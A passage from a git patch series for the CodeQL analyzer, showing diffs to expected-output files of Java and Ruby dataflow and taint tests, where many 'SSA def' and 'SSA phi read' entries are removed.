def(x1) | | TestSwitchExpr.java:7:21:7:28 | source(...) | -| TestSwitchExpr.java:8:16:8:30 | SSA def(x2) | | TestSwitchExpr.java:8:21:8:30 | switch (...) | | TestSwitchExpr.java:10:24:10:25 | x1 | -| TestSwitchExpr.java:12:16:12:30 | SSA def(x3) | | TestSwitchExpr.java:12:21:12:30 | switch (...) | | TestSwitchExpr.java:13:38:13:39 | x2 | -| TestSwitchExpr.java:16:16:16:30 | SSA def(x4) | | TestSwitchExpr.java:16:21:16:30 | switch (...) | | TestSwitchExpr.java:19:23:19:24 | x3 | | TestSwitchExpr.java:23:14:23:15 | x4 | diff --git a/java/ql/test/library-tests/dataflow/taint-ioutils/dataFlow.expected b/java/ql/test/library-tests/dataflow/taint-ioutils/dataFlow.expected index ffd641a45d7..1902605e618 100644 --- a/java/ql/test/library-tests/dataflow/taint-ioutils/dataFlow.expected +++ b/java/ql/test/library-tests/dataflow/taint-ioutils/dataFlow.expected @@ -1,24 +1,19 @@ -| Test.java:12:15:12:47 | SSA def(inp) | | Test.java:12:21:12:47 | new FileInputStream(...) | | Test.java:14:21:14:39 | buffer(...) | | Test.java:14:36:14:38 | inp | -| Test.java:15:16:15:54 | SSA def(lines) | | Test.java:15:24:15:54 | readLines(...) | | Test.java:15:42:15:44 | inp | | Test.java:16:18:16:45 | readFully(...) | | Test.java:16:36:16:38 | inp | | Test.java:17:22:17:55 | toBufferedInputStream(...) | | Test.java:17:52:17:54 | inp | -| Test.java:18:10:18:71 | SSA def(bufread) | | Test.java:18:20:18:71 | toBufferedReader(...) | | Test.java:18:45:18:70 | new InputStreamReader(...) | | Test.java:18:67:18:69 | inp | | Test.java:19:19:19:48 | toByteArray(...) | | Test.java:19:39:19:41 | inp | -| Test.java:20:10:20:50 | SSA def(chars) | | Test.java:20:18:20:50 | toCharArray(...) | | Test.java:20:38:20:40 | inp | -| Test.java:21:10:21:43 | SSA def(s) | | Test.java:21:14:21:43 | toString(...) | | Test.java:21:31:21:33 | inp | | Test.java:22:20:22:52 | toInputStream(...) | diff --git a/java/ql/test/library-tests/dataflow/this-flow/this-flow.expected b/java/ql/test/library-tests/dataflow/this-flow/this-flow.expected index 5b59c216707..1f28514b664 100644 --- a/java/ql/test/library-tests/dataflow/this-flow/this-flow.expected +++ b/java/ql/test/library-tests/dataflow/this-flow/this-flow.expected @@ -10,13 +10,11 @@ | A.java:20:16:20:16 | this <.field> | | A.java:21:12:21:20 | getThis(...) | | A.java:21:12:21:20 | this <.method> | -| A.java:25:7:25:17 | SSA def(a) | | A.java:25:11:25:17 | new A(...) | | A.java:25:11:25:17 | new A(...) [pre constructor] | | A.java:26:12:26:12 | a | | A.java:26:12:26:22 | getThis(...) | | A.java:26:12:26:36 | getThisWrap(...) | -| A.java:27:7:27:17 | SSA def(c) | | A.java:27:11:27:17 | new C(...) | | A.java:27:11:27:17 | new C(...) [pre constructor] | | A.java:28:5:28:5 | c | From e7e5f75949dc954c3bef045771d433cc2beecf96 Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Tue, 18 Mar 2025 10:42:38 +0100 Subject: [PATCH 070/121] Ruby: Accept test changes. --- .../barrier-guards/barrier-guards.expected | 33 - .../dataflow/local/DataflowStep.expected | 1399 +++++------------ .../dataflow/local/TaintStep.expected | 1399 +++++------------ 3 files changed, 750 insertions(+), 2081 deletions(-) diff --git a/ruby/ql/test/library-tests/dataflow/barrier-guards/barrier-guards.expected b/ruby/ql/test/library-tests/dataflow/barrier-guards/barrier-guards.expected index eabbc3ad4b8..0da6e95f6ed 100644 --- a/ruby/ql/test/library-tests/dataflow/barrier-guards/barrier-guards.expected +++ b/ruby/ql/test/library-tests/dataflow/barrier-guards/barrier-guards.expected @@ -1,83 +1,50 @@ testFailures newStyleBarrierGuards -| barrier-guards.rb:3:16:4:19 | [input] SSA phi read(foo) | | barrier-guards.rb:4:5:4:7 | foo | -| barrier-guards.rb:9:25:10:19 | [input] SSA phi read(foo) | | barrier-guards.rb:10:5:10:7 | foo | -| barrier-guards.rb:17:1:18:19 | [input] SSA phi read(foo) | | barrier-guards.rb:18:5:18:7 | foo | -| barrier-guards.rb:23:1:24:19 | [input] SSA phi read(foo) | | barrier-guards.rb:24:5:24:7 | foo | -| barrier-guards.rb:27:20:28:19 | [input] SSA phi read(foo) | | barrier-guards.rb:28:5:28:7 | foo | -| barrier-guards.rb:37:21:38:19 | [input] SSA phi read(foo) | | barrier-guards.rb:38:5:38:7 | foo | | barrier-guards.rb:45:9:45:11 | foo | -| barrier-guards.rb:70:22:71:19 | [input] SSA phi read(foo) | | barrier-guards.rb:71:5:71:7 | foo | -| barrier-guards.rb:82:26:83:19 | [input] SSA phi read(foo) | | barrier-guards.rb:83:5:83:7 | foo | -| barrier-guards.rb:90:1:91:19 | [input] SSA phi read(foo) | | barrier-guards.rb:91:5:91:7 | foo | -| barrier-guards.rb:125:11:126:19 | [input] SSA phi read(foo) | | barrier-guards.rb:126:5:126:7 | foo | -| barrier-guards.rb:132:11:133:19 | [input] SSA phi read(foo) | | barrier-guards.rb:133:5:133:7 | foo | -| barrier-guards.rb:134:11:135:19 | [input] SSA phi read(foo) | | barrier-guards.rb:135:5:135:7 | foo | -| barrier-guards.rb:139:18:140:19 | [input] SSA phi read(foo) | | barrier-guards.rb:140:5:140:7 | foo | -| barrier-guards.rb:141:19:142:19 | [input] SSA phi read(foo) | | barrier-guards.rb:142:5:142:7 | foo | -| barrier-guards.rb:148:21:149:19 | [input] SSA phi read(foo) | | barrier-guards.rb:149:5:149:7 | foo | -| barrier-guards.rb:153:18:154:19 | [input] SSA phi read(foo) | | barrier-guards.rb:154:5:154:7 | foo | -| barrier-guards.rb:158:10:159:19 | [input] SSA phi read(foo) | | barrier-guards.rb:159:5:159:7 | foo | -| barrier-guards.rb:163:11:164:19 | [input] SSA phi read(foo) | | barrier-guards.rb:164:5:164:7 | foo | | barrier-guards.rb:191:4:191:15 | [input] SSA phi read(foo) | | barrier-guards.rb:191:20:191:31 | [input] SSA phi read(foo) | -| barrier-guards.rb:191:32:192:19 | [input] SSA phi read(foo) | | barrier-guards.rb:192:5:192:7 | foo | | barrier-guards.rb:195:4:195:15 | [input] SSA phi read(foo) | | barrier-guards.rb:195:4:195:31 | [input] SSA phi read(foo) | | barrier-guards.rb:195:20:195:31 | [input] SSA phi read(foo) | | barrier-guards.rb:195:36:195:47 | [input] SSA phi read(foo) | -| barrier-guards.rb:195:48:196:19 | [input] SSA phi read(foo) | | barrier-guards.rb:196:5:196:7 | foo | | barrier-guards.rb:199:4:199:15 | [input] SSA phi read(foo) | | barrier-guards.rb:199:4:199:31 | [input] SSA phi read(foo) | | barrier-guards.rb:199:20:199:31 | [input] SSA phi read(foo) | | barrier-guards.rb:203:36:203:47 | [input] SSA phi read(foo) | -| barrier-guards.rb:207:22:208:19 | [input] SSA phi read(foo) | | barrier-guards.rb:208:5:208:7 | foo | -| barrier-guards.rb:211:22:212:19 | [input] SSA phi read(foo) | | barrier-guards.rb:212:5:212:7 | foo | -| barrier-guards.rb:215:28:216:19 | [input] SSA phi read(foo) | | barrier-guards.rb:216:5:216:7 | foo | | barrier-guards.rb:219:21:219:23 | foo | | barrier-guards.rb:219:21:219:32 | [input] SSA phi read(foo) | -| barrier-guards.rb:219:95:220:19 | [input] SSA phi read(foo) | | barrier-guards.rb:220:5:220:7 | foo | -| barrier-guards.rb:232:18:233:19 | [input] SSA phi read(foo) | | barrier-guards.rb:233:5:233:7 | foo | -| barrier-guards.rb:237:19:237:38 | [input] SSA phi read(foo) | | barrier-guards.rb:237:24:237:26 | foo | -| barrier-guards.rb:243:9:244:19 | [input] SSA phi read(foo) | | barrier-guards.rb:244:5:244:7 | foo | -| barrier-guards.rb:259:17:260:19 | [input] SSA phi read(foo) | | barrier-guards.rb:260:5:260:7 | foo | -| barrier-guards.rb:264:17:265:19 | [input] SSA phi read(foo) | | barrier-guards.rb:265:5:265:7 | foo | -| barrier-guards.rb:272:17:272:19 | [input] SSA phi read(foo) | | barrier-guards.rb:272:17:272:19 | foo | -| barrier-guards.rb:275:20:276:19 | [input] SSA phi read(foo) | | barrier-guards.rb:276:5:276:7 | foo | -| barrier-guards.rb:281:21:282:19 | [input] SSA phi read(foo) | | barrier-guards.rb:282:5:282:7 | foo | -| barrier-guards.rb:291:7:292:19 | [input] SSA phi read(foo) | | barrier-guards.rb:292:5:292:7 | foo | | barrier_flow.rb:19:14:19:14 | x | | barrier_flow.rb:32:10:32:10 | x | diff --git a/ruby/ql/test/library-tests/dataflow/local/DataflowStep.expected b/ruby/ql/test/library-tests/dataflow/local/DataflowStep.expected index f005299c0b7..488f51a3d51 100644 --- a/ruby/ql/test/library-tests/dataflow/local/DataflowStep.expected +++ b/ruby/ql/test/library-tests/dataflow/local/DataflowStep.expected @@ -103,7 +103,6 @@ | UseUseExplosion.rb:19:9:19:9 | x | UseUseExplosion.rb:20:3695:20:3695 | x | | UseUseExplosion.rb:19:13:19:13 | 0 | UseUseExplosion.rb:19:9:19:9 | x | | UseUseExplosion.rb:19:13:19:13 | 0 | UseUseExplosion.rb:19:9:19:13 | ... = ... | -| UseUseExplosion.rb:20:9:20:3700 | SSA phi read(self) | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | UseUseExplosion.rb:21:2111:21:2111 | x | | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | UseUseExplosion.rb:21:2127:21:2127 | x | | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | UseUseExplosion.rb:21:2143:21:2143 | x | @@ -210,11 +209,7 @@ | UseUseExplosion.rb:20:13:20:17 | self | UseUseExplosion.rb:20:3691:20:3696 | self | | UseUseExplosion.rb:20:13:20:23 | ... > ... | UseUseExplosion.rb:20:12:20:24 | [false] ( ... ) | | UseUseExplosion.rb:20:13:20:23 | ... > ... | UseUseExplosion.rb:20:12:20:24 | [true] ( ... ) | -| UseUseExplosion.rb:20:26:20:3684 | [input] SSA phi read(self) | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(self) | -| UseUseExplosion.rb:20:26:20:3684 | [input] SSA phi read(x) | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:26:20:3684 | then ... | UseUseExplosion.rb:20:9:20:3700 | if ... | -| UseUseExplosion.rb:20:31:20:3684 | SSA phi read(self) | UseUseExplosion.rb:20:26:20:3684 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:31:20:3684 | SSA phi read(x) | UseUseExplosion.rb:20:26:20:3684 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:31:20:3684 | if ... | UseUseExplosion.rb:20:26:20:3684 | then ... | | UseUseExplosion.rb:20:35:20:39 | [post] self | UseUseExplosion.rb:20:56:20:60 | self | | UseUseExplosion.rb:20:35:20:39 | [post] self | UseUseExplosion.rb:20:3675:20:3680 | self | @@ -222,11 +217,7 @@ | UseUseExplosion.rb:20:35:20:39 | self | UseUseExplosion.rb:20:3675:20:3680 | self | | UseUseExplosion.rb:20:35:20:44 | ... > ... | UseUseExplosion.rb:20:34:20:45 | [false] ( ... ) | | UseUseExplosion.rb:20:35:20:44 | ... > ... | UseUseExplosion.rb:20:34:20:45 | [true] ( ... ) | -| UseUseExplosion.rb:20:47:20:3668 | [input] SSA phi read(self) | UseUseExplosion.rb:20:31:20:3684 | SSA phi read(self) | -| UseUseExplosion.rb:20:47:20:3668 | [input] SSA phi read(x) | UseUseExplosion.rb:20:31:20:3684 | SSA phi read(x) | | UseUseExplosion.rb:20:47:20:3668 | then ... | UseUseExplosion.rb:20:31:20:3684 | if ... | -| UseUseExplosion.rb:20:52:20:3668 | SSA phi read(self) | UseUseExplosion.rb:20:47:20:3668 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:52:20:3668 | SSA phi read(x) | UseUseExplosion.rb:20:47:20:3668 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:52:20:3668 | if ... | UseUseExplosion.rb:20:47:20:3668 | then ... | | UseUseExplosion.rb:20:56:20:60 | [post] self | UseUseExplosion.rb:20:77:20:81 | self | | UseUseExplosion.rb:20:56:20:60 | [post] self | UseUseExplosion.rb:20:3659:20:3664 | self | @@ -234,11 +225,7 @@ | UseUseExplosion.rb:20:56:20:60 | self | UseUseExplosion.rb:20:3659:20:3664 | self | | UseUseExplosion.rb:20:56:20:65 | ... > ... | UseUseExplosion.rb:20:55:20:66 | [false] ( ... ) | | UseUseExplosion.rb:20:56:20:65 | ... > ... | UseUseExplosion.rb:20:55:20:66 | [true] ( ... ) | -| UseUseExplosion.rb:20:68:20:3652 | [input] SSA phi read(self) | UseUseExplosion.rb:20:52:20:3668 | SSA phi read(self) | -| UseUseExplosion.rb:20:68:20:3652 | [input] SSA phi read(x) | UseUseExplosion.rb:20:52:20:3668 | SSA phi read(x) | | UseUseExplosion.rb:20:68:20:3652 | then ... | UseUseExplosion.rb:20:52:20:3668 | if ... | -| UseUseExplosion.rb:20:73:20:3652 | SSA phi read(self) | UseUseExplosion.rb:20:68:20:3652 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:73:20:3652 | SSA phi read(x) | UseUseExplosion.rb:20:68:20:3652 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:73:20:3652 | if ... | UseUseExplosion.rb:20:68:20:3652 | then ... | | UseUseExplosion.rb:20:77:20:81 | [post] self | UseUseExplosion.rb:20:98:20:102 | self | | UseUseExplosion.rb:20:77:20:81 | [post] self | UseUseExplosion.rb:20:3643:20:3648 | self | @@ -246,11 +233,7 @@ | UseUseExplosion.rb:20:77:20:81 | self | UseUseExplosion.rb:20:3643:20:3648 | self | | UseUseExplosion.rb:20:77:20:86 | ... > ... | UseUseExplosion.rb:20:76:20:87 | [false] ( ... ) | | UseUseExplosion.rb:20:77:20:86 | ... > ... | UseUseExplosion.rb:20:76:20:87 | [true] ( ... ) | -| UseUseExplosion.rb:20:89:20:3636 | [input] SSA phi read(self) | UseUseExplosion.rb:20:73:20:3652 | SSA phi read(self) | -| UseUseExplosion.rb:20:89:20:3636 | [input] SSA phi read(x) | UseUseExplosion.rb:20:73:20:3652 | SSA phi read(x) | | UseUseExplosion.rb:20:89:20:3636 | then ... | UseUseExplosion.rb:20:73:20:3652 | if ... | -| UseUseExplosion.rb:20:94:20:3636 | SSA phi read(self) | UseUseExplosion.rb:20:89:20:3636 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:94:20:3636 | SSA phi read(x) | UseUseExplosion.rb:20:89:20:3636 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:94:20:3636 | if ... | UseUseExplosion.rb:20:89:20:3636 | then ... | | UseUseExplosion.rb:20:98:20:102 | [post] self | UseUseExplosion.rb:20:119:20:123 | self | | UseUseExplosion.rb:20:98:20:102 | [post] self | UseUseExplosion.rb:20:3627:20:3632 | self | @@ -258,11 +241,7 @@ | UseUseExplosion.rb:20:98:20:102 | self | UseUseExplosion.rb:20:3627:20:3632 | self | | UseUseExplosion.rb:20:98:20:107 | ... > ... | UseUseExplosion.rb:20:97:20:108 | [false] ( ... ) | | UseUseExplosion.rb:20:98:20:107 | ... > ... | UseUseExplosion.rb:20:97:20:108 | [true] ( ... ) | -| UseUseExplosion.rb:20:110:20:3620 | [input] SSA phi read(self) | UseUseExplosion.rb:20:94:20:3636 | SSA phi read(self) | -| UseUseExplosion.rb:20:110:20:3620 | [input] SSA phi read(x) | UseUseExplosion.rb:20:94:20:3636 | SSA phi read(x) | | UseUseExplosion.rb:20:110:20:3620 | then ... | UseUseExplosion.rb:20:94:20:3636 | if ... | -| UseUseExplosion.rb:20:115:20:3620 | SSA phi read(self) | UseUseExplosion.rb:20:110:20:3620 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:115:20:3620 | SSA phi read(x) | UseUseExplosion.rb:20:110:20:3620 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:115:20:3620 | if ... | UseUseExplosion.rb:20:110:20:3620 | then ... | | UseUseExplosion.rb:20:119:20:123 | [post] self | UseUseExplosion.rb:20:140:20:144 | self | | UseUseExplosion.rb:20:119:20:123 | [post] self | UseUseExplosion.rb:20:3611:20:3616 | self | @@ -270,11 +249,7 @@ | UseUseExplosion.rb:20:119:20:123 | self | UseUseExplosion.rb:20:3611:20:3616 | self | | UseUseExplosion.rb:20:119:20:128 | ... > ... | UseUseExplosion.rb:20:118:20:129 | [false] ( ... ) | | UseUseExplosion.rb:20:119:20:128 | ... > ... | UseUseExplosion.rb:20:118:20:129 | [true] ( ... ) | -| UseUseExplosion.rb:20:131:20:3604 | [input] SSA phi read(self) | UseUseExplosion.rb:20:115:20:3620 | SSA phi read(self) | -| UseUseExplosion.rb:20:131:20:3604 | [input] SSA phi read(x) | UseUseExplosion.rb:20:115:20:3620 | SSA phi read(x) | | UseUseExplosion.rb:20:131:20:3604 | then ... | UseUseExplosion.rb:20:115:20:3620 | if ... | -| UseUseExplosion.rb:20:136:20:3604 | SSA phi read(self) | UseUseExplosion.rb:20:131:20:3604 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:136:20:3604 | SSA phi read(x) | UseUseExplosion.rb:20:131:20:3604 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:136:20:3604 | if ... | UseUseExplosion.rb:20:131:20:3604 | then ... | | UseUseExplosion.rb:20:140:20:144 | [post] self | UseUseExplosion.rb:20:161:20:165 | self | | UseUseExplosion.rb:20:140:20:144 | [post] self | UseUseExplosion.rb:20:3595:20:3600 | self | @@ -282,11 +257,7 @@ | UseUseExplosion.rb:20:140:20:144 | self | UseUseExplosion.rb:20:3595:20:3600 | self | | UseUseExplosion.rb:20:140:20:149 | ... > ... | UseUseExplosion.rb:20:139:20:150 | [false] ( ... ) | | UseUseExplosion.rb:20:140:20:149 | ... > ... | UseUseExplosion.rb:20:139:20:150 | [true] ( ... ) | -| UseUseExplosion.rb:20:152:20:3588 | [input] SSA phi read(self) | UseUseExplosion.rb:20:136:20:3604 | SSA phi read(self) | -| UseUseExplosion.rb:20:152:20:3588 | [input] SSA phi read(x) | UseUseExplosion.rb:20:136:20:3604 | SSA phi read(x) | | UseUseExplosion.rb:20:152:20:3588 | then ... | UseUseExplosion.rb:20:136:20:3604 | if ... | -| UseUseExplosion.rb:20:157:20:3588 | SSA phi read(self) | UseUseExplosion.rb:20:152:20:3588 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:157:20:3588 | SSA phi read(x) | UseUseExplosion.rb:20:152:20:3588 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:157:20:3588 | if ... | UseUseExplosion.rb:20:152:20:3588 | then ... | | UseUseExplosion.rb:20:161:20:165 | [post] self | UseUseExplosion.rb:20:182:20:186 | self | | UseUseExplosion.rb:20:161:20:165 | [post] self | UseUseExplosion.rb:20:3579:20:3584 | self | @@ -294,11 +265,7 @@ | UseUseExplosion.rb:20:161:20:165 | self | UseUseExplosion.rb:20:3579:20:3584 | self | | UseUseExplosion.rb:20:161:20:170 | ... > ... | UseUseExplosion.rb:20:160:20:171 | [false] ( ... ) | | UseUseExplosion.rb:20:161:20:170 | ... > ... | UseUseExplosion.rb:20:160:20:171 | [true] ( ... ) | -| UseUseExplosion.rb:20:173:20:3572 | [input] SSA phi read(self) | UseUseExplosion.rb:20:157:20:3588 | SSA phi read(self) | -| UseUseExplosion.rb:20:173:20:3572 | [input] SSA phi read(x) | UseUseExplosion.rb:20:157:20:3588 | SSA phi read(x) | | UseUseExplosion.rb:20:173:20:3572 | then ... | UseUseExplosion.rb:20:157:20:3588 | if ... | -| UseUseExplosion.rb:20:178:20:3572 | SSA phi read(self) | UseUseExplosion.rb:20:173:20:3572 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:178:20:3572 | SSA phi read(x) | UseUseExplosion.rb:20:173:20:3572 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:178:20:3572 | if ... | UseUseExplosion.rb:20:173:20:3572 | then ... | | UseUseExplosion.rb:20:182:20:186 | [post] self | UseUseExplosion.rb:20:203:20:207 | self | | UseUseExplosion.rb:20:182:20:186 | [post] self | UseUseExplosion.rb:20:3563:20:3568 | self | @@ -306,11 +273,7 @@ | UseUseExplosion.rb:20:182:20:186 | self | UseUseExplosion.rb:20:3563:20:3568 | self | | UseUseExplosion.rb:20:182:20:191 | ... > ... | UseUseExplosion.rb:20:181:20:192 | [false] ( ... ) | | UseUseExplosion.rb:20:182:20:191 | ... > ... | UseUseExplosion.rb:20:181:20:192 | [true] ( ... ) | -| UseUseExplosion.rb:20:194:20:3556 | [input] SSA phi read(self) | UseUseExplosion.rb:20:178:20:3572 | SSA phi read(self) | -| UseUseExplosion.rb:20:194:20:3556 | [input] SSA phi read(x) | UseUseExplosion.rb:20:178:20:3572 | SSA phi read(x) | | UseUseExplosion.rb:20:194:20:3556 | then ... | UseUseExplosion.rb:20:178:20:3572 | if ... | -| UseUseExplosion.rb:20:199:20:3556 | SSA phi read(self) | UseUseExplosion.rb:20:194:20:3556 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:199:20:3556 | SSA phi read(x) | UseUseExplosion.rb:20:194:20:3556 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:199:20:3556 | if ... | UseUseExplosion.rb:20:194:20:3556 | then ... | | UseUseExplosion.rb:20:203:20:207 | [post] self | UseUseExplosion.rb:20:224:20:228 | self | | UseUseExplosion.rb:20:203:20:207 | [post] self | UseUseExplosion.rb:20:3547:20:3552 | self | @@ -318,11 +281,7 @@ | UseUseExplosion.rb:20:203:20:207 | self | UseUseExplosion.rb:20:3547:20:3552 | self | | UseUseExplosion.rb:20:203:20:212 | ... > ... | UseUseExplosion.rb:20:202:20:213 | [false] ( ... ) | | UseUseExplosion.rb:20:203:20:212 | ... > ... | UseUseExplosion.rb:20:202:20:213 | [true] ( ... ) | -| UseUseExplosion.rb:20:215:20:3540 | [input] SSA phi read(self) | UseUseExplosion.rb:20:199:20:3556 | SSA phi read(self) | -| UseUseExplosion.rb:20:215:20:3540 | [input] SSA phi read(x) | UseUseExplosion.rb:20:199:20:3556 | SSA phi read(x) | | UseUseExplosion.rb:20:215:20:3540 | then ... | UseUseExplosion.rb:20:199:20:3556 | if ... | -| UseUseExplosion.rb:20:220:20:3540 | SSA phi read(self) | UseUseExplosion.rb:20:215:20:3540 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:220:20:3540 | SSA phi read(x) | UseUseExplosion.rb:20:215:20:3540 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:220:20:3540 | if ... | UseUseExplosion.rb:20:215:20:3540 | then ... | | UseUseExplosion.rb:20:224:20:228 | [post] self | UseUseExplosion.rb:20:245:20:249 | self | | UseUseExplosion.rb:20:224:20:228 | [post] self | UseUseExplosion.rb:20:3531:20:3536 | self | @@ -330,11 +289,7 @@ | UseUseExplosion.rb:20:224:20:228 | self | UseUseExplosion.rb:20:3531:20:3536 | self | | UseUseExplosion.rb:20:224:20:233 | ... > ... | UseUseExplosion.rb:20:223:20:234 | [false] ( ... ) | | UseUseExplosion.rb:20:224:20:233 | ... > ... | UseUseExplosion.rb:20:223:20:234 | [true] ( ... ) | -| UseUseExplosion.rb:20:236:20:3524 | [input] SSA phi read(self) | UseUseExplosion.rb:20:220:20:3540 | SSA phi read(self) | -| UseUseExplosion.rb:20:236:20:3524 | [input] SSA phi read(x) | UseUseExplosion.rb:20:220:20:3540 | SSA phi read(x) | | UseUseExplosion.rb:20:236:20:3524 | then ... | UseUseExplosion.rb:20:220:20:3540 | if ... | -| UseUseExplosion.rb:20:241:20:3524 | SSA phi read(self) | UseUseExplosion.rb:20:236:20:3524 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:241:20:3524 | SSA phi read(x) | UseUseExplosion.rb:20:236:20:3524 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:241:20:3524 | if ... | UseUseExplosion.rb:20:236:20:3524 | then ... | | UseUseExplosion.rb:20:245:20:249 | [post] self | UseUseExplosion.rb:20:266:20:270 | self | | UseUseExplosion.rb:20:245:20:249 | [post] self | UseUseExplosion.rb:20:3515:20:3520 | self | @@ -342,11 +297,7 @@ | UseUseExplosion.rb:20:245:20:249 | self | UseUseExplosion.rb:20:3515:20:3520 | self | | UseUseExplosion.rb:20:245:20:254 | ... > ... | UseUseExplosion.rb:20:244:20:255 | [false] ( ... ) | | UseUseExplosion.rb:20:245:20:254 | ... > ... | UseUseExplosion.rb:20:244:20:255 | [true] ( ... ) | -| UseUseExplosion.rb:20:257:20:3508 | [input] SSA phi read(self) | UseUseExplosion.rb:20:241:20:3524 | SSA phi read(self) | -| UseUseExplosion.rb:20:257:20:3508 | [input] SSA phi read(x) | UseUseExplosion.rb:20:241:20:3524 | SSA phi read(x) | | UseUseExplosion.rb:20:257:20:3508 | then ... | UseUseExplosion.rb:20:241:20:3524 | if ... | -| UseUseExplosion.rb:20:262:20:3508 | SSA phi read(self) | UseUseExplosion.rb:20:257:20:3508 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:262:20:3508 | SSA phi read(x) | UseUseExplosion.rb:20:257:20:3508 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:262:20:3508 | if ... | UseUseExplosion.rb:20:257:20:3508 | then ... | | UseUseExplosion.rb:20:266:20:270 | [post] self | UseUseExplosion.rb:20:287:20:291 | self | | UseUseExplosion.rb:20:266:20:270 | [post] self | UseUseExplosion.rb:20:3499:20:3504 | self | @@ -354,11 +305,7 @@ | UseUseExplosion.rb:20:266:20:270 | self | UseUseExplosion.rb:20:3499:20:3504 | self | | UseUseExplosion.rb:20:266:20:275 | ... > ... | UseUseExplosion.rb:20:265:20:276 | [false] ( ... ) | | UseUseExplosion.rb:20:266:20:275 | ... > ... | UseUseExplosion.rb:20:265:20:276 | [true] ( ... ) | -| UseUseExplosion.rb:20:278:20:3492 | [input] SSA phi read(self) | UseUseExplosion.rb:20:262:20:3508 | SSA phi read(self) | -| UseUseExplosion.rb:20:278:20:3492 | [input] SSA phi read(x) | UseUseExplosion.rb:20:262:20:3508 | SSA phi read(x) | | UseUseExplosion.rb:20:278:20:3492 | then ... | UseUseExplosion.rb:20:262:20:3508 | if ... | -| UseUseExplosion.rb:20:283:20:3492 | SSA phi read(self) | UseUseExplosion.rb:20:278:20:3492 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:283:20:3492 | SSA phi read(x) | UseUseExplosion.rb:20:278:20:3492 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:283:20:3492 | if ... | UseUseExplosion.rb:20:278:20:3492 | then ... | | UseUseExplosion.rb:20:287:20:291 | [post] self | UseUseExplosion.rb:20:308:20:312 | self | | UseUseExplosion.rb:20:287:20:291 | [post] self | UseUseExplosion.rb:20:3483:20:3488 | self | @@ -366,11 +313,7 @@ | UseUseExplosion.rb:20:287:20:291 | self | UseUseExplosion.rb:20:3483:20:3488 | self | | UseUseExplosion.rb:20:287:20:296 | ... > ... | UseUseExplosion.rb:20:286:20:297 | [false] ( ... ) | | UseUseExplosion.rb:20:287:20:296 | ... > ... | UseUseExplosion.rb:20:286:20:297 | [true] ( ... ) | -| UseUseExplosion.rb:20:299:20:3476 | [input] SSA phi read(self) | UseUseExplosion.rb:20:283:20:3492 | SSA phi read(self) | -| UseUseExplosion.rb:20:299:20:3476 | [input] SSA phi read(x) | UseUseExplosion.rb:20:283:20:3492 | SSA phi read(x) | | UseUseExplosion.rb:20:299:20:3476 | then ... | UseUseExplosion.rb:20:283:20:3492 | if ... | -| UseUseExplosion.rb:20:304:20:3476 | SSA phi read(self) | UseUseExplosion.rb:20:299:20:3476 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:304:20:3476 | SSA phi read(x) | UseUseExplosion.rb:20:299:20:3476 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:304:20:3476 | if ... | UseUseExplosion.rb:20:299:20:3476 | then ... | | UseUseExplosion.rb:20:308:20:312 | [post] self | UseUseExplosion.rb:20:329:20:333 | self | | UseUseExplosion.rb:20:308:20:312 | [post] self | UseUseExplosion.rb:20:3467:20:3472 | self | @@ -378,11 +321,7 @@ | UseUseExplosion.rb:20:308:20:312 | self | UseUseExplosion.rb:20:3467:20:3472 | self | | UseUseExplosion.rb:20:308:20:317 | ... > ... | UseUseExplosion.rb:20:307:20:318 | [false] ( ... ) | | UseUseExplosion.rb:20:308:20:317 | ... > ... | UseUseExplosion.rb:20:307:20:318 | [true] ( ... ) | -| UseUseExplosion.rb:20:320:20:3460 | [input] SSA phi read(self) | UseUseExplosion.rb:20:304:20:3476 | SSA phi read(self) | -| UseUseExplosion.rb:20:320:20:3460 | [input] SSA phi read(x) | UseUseExplosion.rb:20:304:20:3476 | SSA phi read(x) | | UseUseExplosion.rb:20:320:20:3460 | then ... | UseUseExplosion.rb:20:304:20:3476 | if ... | -| UseUseExplosion.rb:20:325:20:3460 | SSA phi read(self) | UseUseExplosion.rb:20:320:20:3460 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:325:20:3460 | SSA phi read(x) | UseUseExplosion.rb:20:320:20:3460 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:325:20:3460 | if ... | UseUseExplosion.rb:20:320:20:3460 | then ... | | UseUseExplosion.rb:20:329:20:333 | [post] self | UseUseExplosion.rb:20:350:20:354 | self | | UseUseExplosion.rb:20:329:20:333 | [post] self | UseUseExplosion.rb:20:3451:20:3456 | self | @@ -390,11 +329,7 @@ | UseUseExplosion.rb:20:329:20:333 | self | UseUseExplosion.rb:20:3451:20:3456 | self | | UseUseExplosion.rb:20:329:20:338 | ... > ... | UseUseExplosion.rb:20:328:20:339 | [false] ( ... ) | | UseUseExplosion.rb:20:329:20:338 | 